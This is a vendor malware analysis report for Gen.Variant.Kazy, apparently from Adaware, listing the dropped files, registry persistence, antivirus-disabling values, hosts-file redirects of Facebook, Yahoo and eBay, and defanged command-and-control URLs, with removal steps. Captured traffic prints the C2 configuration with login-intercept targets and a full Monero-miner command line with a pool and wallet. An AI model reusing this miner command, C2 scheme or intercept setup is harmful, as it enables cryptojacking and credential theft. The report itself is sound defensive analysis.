Gen.Variant.Kazy.164619_40379e7014 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Malware creates the following process(es):

manmps2pohkzu4.exe:6060
manmps1us2kzu4.exe:4980
hweynoxcrj.exe:3148
hweynoxcrj.exe:4308
manmps1tunkzu4rilnmw.exe:2484
manmps32eekzu4.exe:4484
hiovbxkmtrdw.exe:3796
hiovbxkmtrdw.exe:2392
%original file name%.exe:536

The Malware injects its code into the following process(es):No processes have been created.

File activity

The process manmps2pohkzu4.exe:6060 makes changes in the file system.

The Malware creates and/or writes to the following file(s):

%System%\yervcmzvvvzjvyg\tst (10 bytes)

The process hweynoxcrj.exe:3148 makes changes in the file system.

The Malware creates and/or writes to the following file(s):

%System%\yervcmzvvvzjvyg\rng (60 bytes)
%WinDir%\Temp\manmps32eekzu4.exe (35 bytes)
%System%\drivers\etc\hosts (904 bytes)
%System%\yervcmzvvvzjvyg\cfg (325 bytes)
%System%\yervcmzvvvzjvyg\tst (10 bytes)
%System%\yervcmzvvvzjvyg\run (10 bytes)
%System%\hiovbxkmtrdw.exe (6841 bytes)
%System%\yervcmzvvvzjvyg\por (1 bytes)
%WinDir%\Temp\manmps2pohkzu4.exe (6841 bytes)
%WinDir%\Temp\manmps1us2kzu4.exe (35 bytes)
%System%\yervcmzvvvzjvyg\ihst (224 bytes)

The Malware deletes the following file(s):

%WinDir%\Temp\manmps2pohkzu4.exe (0 bytes)
%WinDir%\Temp\manmps1us2kzu4.exe (0 bytes)
%WinDir%\Temp\manmps32eekzu4.exe (0 bytes)

The process hweynoxcrj.exe:4308 makes changes in the file system.

The Malware creates and/or writes to the following file(s):

%System%\yervcmzvvvzjvyg\tst (10 bytes)

The process manmps1tunkzu4rilnmw.exe:2484 makes changes in the file system.

The Malware creates and/or writes to the following file(s):

%System%\yervcmzvvvzjvyg\etc (10 bytes)
%System%\yervcmzvvvzjvyg\tst (10 bytes)
%System%\hweynoxcrj.exe (6841 bytes)
%System%\drivers\etc\hosts (22 bytes)

The Malware deletes the following file(s):

%System%\drivers\etc\hosts (0 bytes)

The process hiovbxkmtrdw.exe:3796 makes changes in the file system.

The Malware creates and/or writes to the following file(s):

%System%\yervcmzvvvzjvyg\tst (10 bytes)

The process hiovbxkmtrdw.exe:2392 makes changes in the file system.

The Malware creates and/or writes to the following file(s):

%System%\yervcmzvvvzjvyg\tst (10 bytes)

The process %original file name%.exe:536 makes changes in the file system.

The Malware creates and/or writes to the following file(s):

%System%\yervcmzvvvzjvyg\tst (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\manmps1tunkzu4rilnmw.exe (6300 bytes)

The Malware deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\manmps1tunkzu4rilnmw.exe (0 bytes)

Registry activity

The process manmps2pohkzu4.exe:6060 makes changes in the system registry.

The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B2 D7 26 85 49 1B 9C E4 4D AE 1D 9B 25 0B F8 75"

The process manmps1us2kzu4.exe:4980 makes changes in the system registry.

The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DC 91 CA 4D BA 8D D3 D2 1A DA 0D 8B 91 86 C9 CA"

The process hweynoxcrj.exe:3148 makes changes in the system registry.

The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "3C 00 00 00 02 00 00 00 01 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallDisableNotify" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "63 A0 D5 FF C5 FB 79 78 AF 9F 02 5B 60 51 01 A3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

Antivirus notifications are disabled:

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"

The Malware deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process manmps1tunkzu4rilnmw.exe:2484 makes changes in the system registry.

The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "26 BC 7B 99 8E DA 3A B4 E2 E7 42 FD 14 37 8B ED"

To automatically run itself each time Windows is booted, the Malware adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Netlogon Smart Parental Foundation" = "%System%\hweynoxcrj.exe"

The process manmps32eekzu4.exe:4484 makes changes in the system registry.

The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C4 4B 87 F6 27 81 A6 4E 97 11 E5 1E DC 01 C5 C3"

Dropped PE files

MD5	File path
476f447617f65eebf35c52d4fd3b3188	c:\WINDOWS\Temp\manmps32eekzu4.exe

HOSTS file anomalies

The Malware modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 804 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1	www.facebook.com
127.0.0.1	facebook.com
127.0.0.1	mail.yahoo.com
127.0.0.1	my.ebay.com
127.0.0.1	cgi.ebay.com
127.0.0.1	offer.ebay.com
127.0.0.1	feedback.ebay.com
127.0.0.1	motors.search.ebay.com
127.0.0.1	search.ebay.com
127.0.0.1	pages.ebay.com
127.0.0.1	pages.motors.ebay.com
127.0.0.1	myworld.ebay.com
127.0.0.1	motors.listings.ebay.com
127.0.0.1	cgi1.ebay.com
127.0.0.1	contact.ebay.com
127.0.0.1	srx.ebaymotors.ebayrtm.com
127.0.0.1	motors.shop.ebay.com
127.0.0.1	forums.ebay.com
127.0.0.1	answercenter.ebay.com
127.0.0.1	shop.ebay.com
127.0.0.1	ocs.ebay.com
127.0.0.1	cschatlb-na.corp.ebay.com
127.0.0.1	cschat1-na.corp.ebay.com
127.0.0.1	cschat.ebay.com
127.0.0.1	helpdesk.corp.ebay.com
127.0.0.1	qu.corp.ebay.com
127.0.0.1	www.ebay.com

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
manmps2pohkzu4.exe:6060
manmps1us2kzu4.exe:4980
hweynoxcrj.exe:3148
hweynoxcrj.exe:4308
manmps1tunkzu4rilnmw.exe:2484
manmps32eekzu4.exe:4484
hiovbxkmtrdw.exe:3796
hiovbxkmtrdw.exe:2392
%original file name%.exe:536
Delete the original Malware file.
Delete or disinfect the following files created/modified by the Malware:
%System%\yervcmzvvvzjvyg\tst (10 bytes)
%System%\yervcmzvvvzjvyg\rng (60 bytes)
%WinDir%\Temp\manmps32eekzu4.exe (35 bytes)
%System%\drivers\etc\hosts (904 bytes)
%System%\yervcmzvvvzjvyg\cfg (325 bytes)
%System%\yervcmzvvvzjvyg\run (10 bytes)
%System%\hiovbxkmtrdw.exe (6841 bytes)
%System%\yervcmzvvvzjvyg\por (1 bytes)
%WinDir%\Temp\manmps2pohkzu4.exe (6841 bytes)
%WinDir%\Temp\manmps1us2kzu4.exe (35 bytes)
%System%\yervcmzvvvzjvyg\ihst (224 bytes)
%System%\yervcmzvvvzjvyg\etc (10 bytes)
%System%\hweynoxcrj.exe (6841 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\manmps1tunkzu4rilnmw.exe (6300 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Microsoft Netlogon Smart Parental Foundation" = "%System%\hweynoxcrj.exe"
Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	679878	679936	4.70837	9eb5b1c585b3d9c82eaa9065e485ca27
.rdata	684032	52424	52736	3.65191	2cd9100ed1242de4caa92b99c9aa1032
.data	737280	159132	125440	5.49867	867dfd094ee749b6945fb73a580e472c

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://stickmarch.net/forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05	208.91.197.241
hxxp://tablefruit.net/forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05	98.139.135.198
hxxp://tablefruit.net/forum/search.php?method=all&flag&mode=sox&v=028&sox=3b93ce05&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0	98.139.135.198
hxxp://tablefruit.net/forum/search.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)&mode=sox&v=028&sox=3b93ce05&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0	98.139.135.198
hxxp://tablefruit.net/forum/search.php?method=hostname&host=www.facebook.com&mode=sox&v=028&sox=3b93ce05&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0	98.139.135.198
hxxp://tablefruit.net/dep/win64mroclient.exe	98.139.135.198
hxxp://tablefruit.net/forum/search.php?method=dep&noxor&file=win64mroclient.exe&mode=sox&v=028&sox=3b93ce05&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0	98.139.135.198
hxxp://spendstudy.net/forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05	98.139.135.198
hxxp://requireneither.net/forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05	208.91.197.241
hxxp://spendstudy.net/forum/search.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)&mode=sox&v=028&sox=3b93ce05&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0	98.139.135.198
hxxp://throughcountry.net/forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05	208.91.197.241
hxxp://spendstudy.net/forum/search.php?method=dep&noxor&file=win64mroclient.exe&mode=sox&v=028&sox=3b93ce05&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0	98.139.135.198
hxxp://glasshealth.net/forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05	208.91.197.241
hxxp://spendstudy.net/forum/search.php?method=hostname&host=www.facebook.com&mode=sox&v=028&sox=3b93ce05&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0	98.139.135.198
hxxp://middleevery.net/dep/win64mroclient.exe	98.139.135.198
hxxp://mightglossary.net/forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05	208.91.197.241
hxxp://gentlefriend.net/forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05	208.91.197.241
hxxp://rememberpaint.net/forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05	208.91.197.241
hxxp://spendstudy.net/forum/search.php?method=all&flag&mode=sox&v=028&sox=3b93ce05&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0	98.139.135.198

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /dep/win64mroclient.exe HTTP/1.0

Accept: */*

Connection: close

Host: middleevery.net

HTTP/1.0 999 Unable to process request at this time -- error 999

Date: Fri, 23 May 2014 09:56:25 GMT

Expires: Thu, 01 Jan 1970 22:00:00 GMT

Cache-Control: no-cache

Cache-Control: no-store

Pragma: no-cache

Content-Type: text/html;charset=UTF-8

Age: 0

Server: YTS/1.20.28

<HTML>.<HEAD>.<meta http-equiv="Content-Type" content="text/html;charset=utf-8" >...<TITLE>.Yahoo! - 999 Unable to process request at this time -- error 999.</TITLE>...<style>./* nn4 hide */ ./*/*/.body {font:small/1.2em arial,helvetica,clean,sans-serif;font:x-small;text-align:center;}table {font-size:inherit;font:x-small;}.html>body {font:83%/1.2em arial,helvetica,clean,sans-serif;}input {font-size:100%;vertical-align:middle;}p, form {margin:0;padding:0;}.p {padding-bottom:6px;margin-bottom:10px;}#doc {width:48.5em;margin:0 auto;border:1px solid #fff;text-align:center;}#ygma {text-align:right;margin-bottom:53px}.#ygma img {float:left;}#ygma div {border-bottom:1px solid #ccc;padding-bottom:8px;margin-left:152px;}#bd {clear:both;text-align:left;width:75%;margin:0 auto 20px;}.h1 {font-size:135%;text-align:center;margin:0 0 15px;}legend {display:none;}fieldset {border:0 solid #fff;padding:.8em 0 .8em 4.5em;}.form {position:relative;background:#eee;margin-bottom:15px;border:1px solid #ccc;border-width:1px 0;}.#s1p {width:15em;margin-right:.1em;}.form span {position:absolute;left:70%;top:.8em;}form a {font:78%/1.2em arial;display:block;padding-left:.8em;white-space:nowrap;background: url(hXXp://us.i1.yimg.com/us.yimg.com/i/s/bullet.gif) no-repeat left center;} .form .sep {display:none;}.more {text-align:center;}#ft {padding-top:10px;border-top:1px solid #999;}#ft p {text-align:center;font:78% arial;}./* end nn4 hide */.</style>

<<

<<< skipped >>>

GET /forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05 HTTP/1.0

Accept: */*

Connection: close

Host: glasshealth.net

HTTP/1.1 200 OK

Date: Fri, 23 May 2014 09:55:49 GMT

Server: Apache

Vary: Accept-Encoding,User-Agent

Content-Length: 2599

Keep-Alive: timeout=5, max=103

Connection: close

Content-Type: text/html; charset=UTF-8

..<script type="text/javascript">...<!--...dimensionUpdated = 0;...function applyFrameKiller()...{....if(window.top != self)....{.....cHeight = 0;.....if( typeof( window.innerHeight ) != 'undefined' ) {.....//Non-IE.....cHeight = window.innerHeight;.....dimensionUpdated = 1;.....} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {.....//IE 6 in 'standards compliant mode'.....cHeight = document.documentElement.clientHeight;.....dimensionUpdated = 1;.....} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {.....//IE 4 compatible.....cHeight = document.body.clientHeight;.....dimensionUpdated = 1;.....}.....if( cHeight <= 250 && dimensionUpdated == 1).....{......window.top.location = "hXXp://glasshealth.net/?fp=SJuVHjBYqdt2YwKBJISa8zfMCgyzsvJCAKAju9IPhkQLlab/xfgbiVGbHzhi+P3FZvVSsOAo0Viby+llCD9w+w==&prvtof=toeFkJJh/L32oytbO0D2psz9Y5wNfN8hqgdA/yJo2yE=&poru=y3I78VSWrh2RfTE6ZTsuJZgESlq1if9TqEMNyzQmHifqiX4qzrAockEhcThG71goC8t1C6ftFpK0QElCCA1NGrAh+2e2B65kk4ja6IRhOIrZ+ZxPZX

<<

<<< skipped >>>

GET /forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05 HTTP/1.0

Accept: */*

Connection: close

Host: gentlefriend.net

HTTP/1.1 200 OK

Date: Fri, 23 May 2014 09:55:49 GMT

Server: Apache

Vary: Accept-Encoding,User-Agent

Content-Length: 2603

Keep-Alive: timeout=5, max=119

Connection: close

Content-Type: text/html; charset=UTF-8

..<script type="text/javascript">...<!--...dimensionUpdated = 0;...function applyFrameKiller()...{....if(window.top != self)....{.....cHeight = 0;.....if( typeof( window.innerHeight ) != 'undefined' ) {.....//Non-IE.....cHeight = window.innerHeight;.....dimensionUpdated = 1;.....} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {.....//IE 6 in 'standards compliant mode'.....cHeight = document.documentElement.clientHeight;.....dimensionUpdated = 1;.....} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {.....//IE 4 compatible.....cHeight = document.body.clientHeight;.....dimensionUpdated = 1;.....}.....if( cHeight <= 250 && dimensionUpdated == 1).....{......window.top.location = "hXXp://gentlefriend.net/?fp=NREzS1yJjslzN1QArsReiXJkn5qn4twYtpliRRd5IezMtgVmNXeTDDNH+rO9Q6VfC4uH5D81TAUr0ISJHS+RNA==&prvtof=2oc4h/dFATAy3KBD5DdEz51piEw3IgfQdtRnlAZQhGE=&poru=lqwN8wZl+lEp5i/OQFBrUnTzSYe6ChJeOyH1f30cLxo63h2f0QhbrW2SNNA9B0v6kR1XhUvTjvobfd1LbnTzAydzDzdB3BTd+9FSw95RL0MpkgHrELTIso

<<

<<< skipped >>>

GET /forum/search.php?method=dep&noxor&file=win64mroclient.exe&mode=sox&v=028&sox=3b93ce05&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 HTTP/1.0

Accept: */*

Connection: close

Host: spendstudy.net

HTTP/1.0 502 Cannot find server.

Date: Fri, 23 May 2014 09:56:25 GMT

Server: YTS/1.20.28

Cache-Control: no-store

Content-Type: text/html

Content-Language: en

Content-Length: 2477

<HEAD><TITLE>Cannot find server.</TITLE></HEAD>.<BODY BGCOLOR="white" FGCOLOR="black">.<FONT FACE="Helvetica,Arial"><B>. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html><head><style>a:link {font:8pt/11pt verdana; color:red}a:visited {font:8pt/11pt verdana; color:#4e4e4e}</style><meta HTTP-EQUIV="Content-Type" Content="text-html; charset=Windows-1252"><title>Cannot find server</title></head><body bgcolor="white"><table width="400" cellpadding="3" cellspacing="5"><tr><td id="tableProps2" align="left" valign="middle" width="360"><h1 id="textSection1"style="COLOR: black; FONT: 13pt/15pt verdana"><span id="errorText">The page cannot be displayed</span></h1></td></tr><tr><td id="tablePropsWidth" width="400" colspan="2"><font style="COLOR: black; FONT: 8pt/11pt verdana">The page you are looking for is currently unavailable. The Web site might be experiencing technical difficulties, or you may need to adjust your browser settings.</font></td></tr><tr><td id="tablePropsWidth" width="400" colspan="2"><font id="LID1"style="COLOR: black; FONT: 8pt/11pt verdana"><hr color="#C0C0C0" noshade><p id="LID2">Please try the following:</p><ul><li id="instructionsText1">Click the Refresh button, or try again later.</li><li id="instructionsText2"> If you typed the page addr

<<

<<< skipped >>>

GET /forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05 HTTP/1.0

Accept: */*

Connection: close

Host: tablefruit.net

HTTP/1.0 503 Service Temporarily Unavailable

Date: Fri, 23 May 2014 09:55:46 GMT

Content-Type: text/html; charset=iso-8859-1

Age: 0

Server: YTS/1.20.28

<h1 style='color:#497A97;font-size:12pt;font-weight:bold'>503 - Service Unavailable..

GET /forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05 HTTP/1.0

Accept: */*

Connection: close

Host: requireneither.net

HTTP/1.1 200 OK

Date: Fri, 23 May 2014 09:55:48 GMT

Server: Apache

Vary: Accept-Encoding,User-Agent

Content-Length: 2635

Keep-Alive: timeout=5, max=101

Connection: close

Content-Type: text/html; charset=UTF-8

..<script type="text/javascript">...<!--...dimensionUpdated = 0;...function applyFrameKiller()...{....if(window.top != self)....{.....cHeight = 0;.....if( typeof( window.innerHeight ) != 'undefined' ) {.....//Non-IE.....cHeight = window.innerHeight;.....dimensionUpdated = 1;.....} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {.....//IE 6 in 'standards compliant mode'.....cHeight = document.documentElement.clientHeight;.....dimensionUpdated = 1;.....} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {.....//IE 4 compatible.....cHeight = document.body.clientHeight;.....dimensionUpdated = 1;.....}.....if( cHeight <= 250 && dimensionUpdated == 1).....{......window.top.location = "hXXp://requireneither.net/?fp=+hl/I26eexZhtrVmUuQExCIdEmf540L3TS9vGT3+A1uxccoi8+8Uuho/3tP5XPXmiZztYIfx2v90TOQIxU1IcQ==&prvtof=NXAUJ0jRM5M1ncy8a9rod6hCL6h%2FxvIvEV8NfNkj/w8=&poru=TxpHEu8ibwG1gUo8nkcMDgNUMjp1KB+/EuCGfu3iHQgL2QNG10feUwjqqIaiCx2DhysxPrBKRGay0bFKq+FIdi4qKFLI+VnCUSq1

<<

<<< skipped >>>

GET /forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05 HTTP/1.0

Accept: */*

Connection: close

Host: stickmarch.net

HTTP/1.1 200 OK

Date: Fri, 23 May 2014 09:55:46 GMT

Server: Apache

Vary: Accept-Encoding,User-Agent

Content-Length: 2595

Keep-Alive: timeout=5, max=105

Connection: close

Content-Type: text/html; charset=UTF-8

..<script type="text/javascript">...<!--...dimensionUpdated = 0;...function applyFrameKiller()...{....if(window.top != self)....{.....cHeight = 0;.....if( typeof( window.innerHeight ) != 'undefined' ) {.....//Non-IE.....cHeight = window.innerHeight;.....dimensionUpdated = 1;.....} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {.....//IE 6 in 'standards compliant mode'.....cHeight = document.documentElement.clientHeight;.....dimensionUpdated = 1;.....} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {.....//IE 4 compatible.....cHeight = document.body.clientHeight;.....dimensionUpdated = 1;.....}.....if( cHeight <= 250 && dimensionUpdated == 1).....{......window.top.location = "hXXp://stickmarch.net/?fp=xbgW8nvpfLZNAzRjgLCv7odAY395EryqsJrx4FkbQPb076XGOh7d0LTtao9EO8IMWti3WIyY4GynN33MdHGlgw==&prvtof=5zdZe7bdjP5jMzx+qLIZ+N78t9e0pQg0PZS6dFlfRYs=&poru=5kioIr6zLhiYW6RomV4YbG9+f6FPRlsLkBqy4taC0ARXN13wDFrXTPtMKpCPG/vocc5ISNa4wXvAK9Q4YPRX/wW1bn8MD/cuJ2KC11ejLR5BGpQIPay3LMjY35v1qgNA&cifr=

<<

<<< skipped >>>

GET /forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05 HTTP/1.0

Accept: */*

Connection: close

Host: spendstudy.net

HTTP/1.0 200 OK

Date: Fri, 23 May 2014 09:56:21 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: YTS/1.20.28

304.W..S........spendstudy.net............e{$ImB.N(......DY.IR..<.s..CZ.[ ...^<C....rn..,..j{............=x.'..w%|.,.....E-.)5iZ.........M..Ti.Hyo.tG..F...2fyl=..Ee...'..&.Xs.U....T....q.W. .....y......:...Nu......X.s~.T.....4.3..Q.c..2..F.bf..p....Y64..Y..L.......k6...LP/.H..c%T.?...y.HbM..RZ. .t..P3.d......T...71...!.o..*<.~..X.nca.y.tE.Q..^........3@L....@.^.~.!.Z..=.,...]..i...~.....(.$}.-....e.kVH:zS.....M..$...h.z%.".4..K.-..y[p^y[....j0....C.../.=......g.pB...&(,.....f.J.... ..&..g...........X./.9...,.4...g....Kh.Y..k.p.....1......s[j.[.#....:...tEj.I..I_g..... ......?........a.n..t..6.'..e.$A..U.P............}.h....U... ...!-....Pd.........?D.I.'..jQ.`._..4s1.#.P?.%(.^hx..&..... ....5u...........*,-kk'....2...................)...X.&.1?.Q.../49...D..'$e..p\.S......Y.........r..Q...3....oc.n89.SI2{#..Y|.vQ}2.(H.:......T..T..Pf..^.G..{.Jz1....g.V.6_&...|.J.....h......:.R"*9.....z..\....}B..n..}..2..|{...I.........kv......n&3".."...8.z..q.....b4..B...-0....Q#4..."E2..i.M:>8..4...Um...t|...*O..#...z5?.:"....u.....-...~.J.b...........w.s.....:..,..2...T|....~SvcN.?...e-...V...$(T.t@.....".4.....yIm.......\...... 4....._.Ia.B....[..~I..3l.3.0...d.S<..0ne..h..n..Z...%?$G....

GET /forum/search.php?method=all&flag&mode=sox&v=028&sox=3b93ce05&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0 HTTP/1.0

Accept: */*

Connection: close

Host: spendstudy.net

HTTP/1.0 200 OK

Date: Fri, 23 May 2014 09:56:22 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 2

Server: YTS/1.20.28

ping.5.FLAG cfg.115."signarmy.net" "wifeknew.net" "groupcook.net" "watchstand.net" "saltsecond.net" "southblood.net" "lasopeidres.com" var_user_ip.585.%kill_jhminer% = "1";.%invite_cc% = "1";.Âºn_contact% = "1";.%live_link% = "hXXp://helpdesk.corp.ebay.com/chat.php?id=4094&sess=6bcd406e63c8bb5b98d7d6963df64775&talk=1";.Ã«aylive% = "middleevery.net";.%set_intercepts% = ""VVV.facebook.com" "middleevery.net" "/fb_login/" "/login/" "1" "facebook.com" "middleevery.net" "/fb_login/" "/login/" "0" "mail.yahoo.com" "middleevery.net" "/yahoo/" "/config/" "0" ";.Ãžp_host% = "middleevery.net";.Ãžp_path% = "/dep/";.%no_password% = "0";.%timer% = "1200";.%cpuinfo% = "Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)";.%state% = "EN";.plugin.55106.miner_forced.166.win32mroclient.exe -a cryptonight -o mine.moneropool.com:5555 -u 45SEQEHgv9QhVz48Sok1RxUDvP8p9E6YkgatUknv3Um4djPyAcFBcMP2X9QUizPjHACw3Nj3VBK2uhNx7jUhB8XXQvqHBpa -p x.MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........lg...4...4...4.?y4...4...4...49..4...4...4...4...4...4...4...4...4...4RiHTTP/1.0 200 OK..Date: Fri, 23 May 2014 09:56:22 GMT..P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"..Content-Type: text/html..Age: 2..Server: YTS/1.20.28..ping.5.FLAG cfg.115."signarmy.net" "wifeknew.net" "groupcook.net" "watchstand.

<<

<<< skipped >>>

GET /forum/search.php?method=validate&mode=sox&v=028&sox=3b93ce05 HTTP/1.0

Accept: */*

Connection: close

Host: mightglossary.net

HTTP/1.1 200 OK

Date: Fri, 23 May 2014 09:55:48 GMT

Server: Apache

Vary: Accept-Encoding,User-Agent

Content-Length: 2747

Keep-Alive: timeout=5, max=82

Connection: close

Content-Type: text/html; charset=UTF-8

